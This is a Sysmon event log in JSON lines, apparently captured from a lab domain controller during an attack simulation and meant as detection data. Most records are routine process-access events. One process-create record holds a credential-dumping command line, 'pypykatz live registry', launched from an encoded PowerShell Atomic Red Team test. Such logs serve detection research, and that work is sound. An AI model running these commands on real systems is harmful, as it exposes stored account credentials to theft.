C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5365,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.119\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001008010800}\r\nSourceProcessId: 3632\r\nSourceThreadId: 4900\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00104D4C0800}\r\nTargetProcessId: 5044\r\nTargetImage: C:\\Windows\\system32\\reg.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.119","SourceProcessGUID":"{90617006-416D-5F2D-0000-001008010800}","SourceProcessId":"3632","SourceThreadId":"4900","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00104D4C0800}","TargetProcessId":"5044","TargetImage":"C:\\Windows\\system32\\reg.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5366,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.169\r\nProcessGuid: {90617006-4170-5F2D-0000-0010854D0800}\r\nProcessId: 4176\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: \"C:\\Windows\\system32\\cmd.exe\" /c \"pypykatz live registry\" \r\nCurrentDirectory: C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-416D-5F2D-0000-00205A000800}\r\nLogonId: 0x8005A\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-416E-5F2D-0000-001033270800}\r\nParentProcessId: 4384\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.169","ProcessGuid":"{90617006-4170-5F2D-0000-0010854D0800}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"\"C:\\Windows\\system32\\cmd.exe\" /c \"pypykatz live registry\" ","CurrentDirectory":"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-416D-5F2D-0000-00205A000800}","LogonId":"0x8005a","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-416E-5F2D-0000-001033270800}","ParentProcessId":"4384","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA==","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5367,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.166\r\nSourceProcessGUID: {90617006-416E-5F2D-0000-001033270800}\r\nSourceProcessId: 4384\r\nSourceThreadId: 4408\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-416C-5F2D-0000-0010CDF10700}\r\nTargetProcessId: 4176\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be835cf(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83443(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bf05c6f(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be7c02b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c934fce(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be44823(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bea2cf2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be861e8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be7816d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3beb12fd(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.166","SourceProcessGUID":"{90617006-416E-5F2D-0000-001033270800}","SourceProcessId":"4384","SourceThreadId":"4408","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-416C-5F2D-0000-0010CDF10700}","TargetProcessId":"4176","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be835cf(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83443(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bf05c6f(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be7c02b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c934fce(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be44823(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bea2cf2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be861e8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be7816d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3beb12fd(wow64)","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5368,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.166\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-416C-5F2D-0000-0010CDF10700}\r\nTargetProcessId: 4176\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.166","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-416C-5F2D-0000-0010CDF10700}","TargetProcessId":"4176","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5369,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.166\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.166","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5370,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.166\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.166","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYST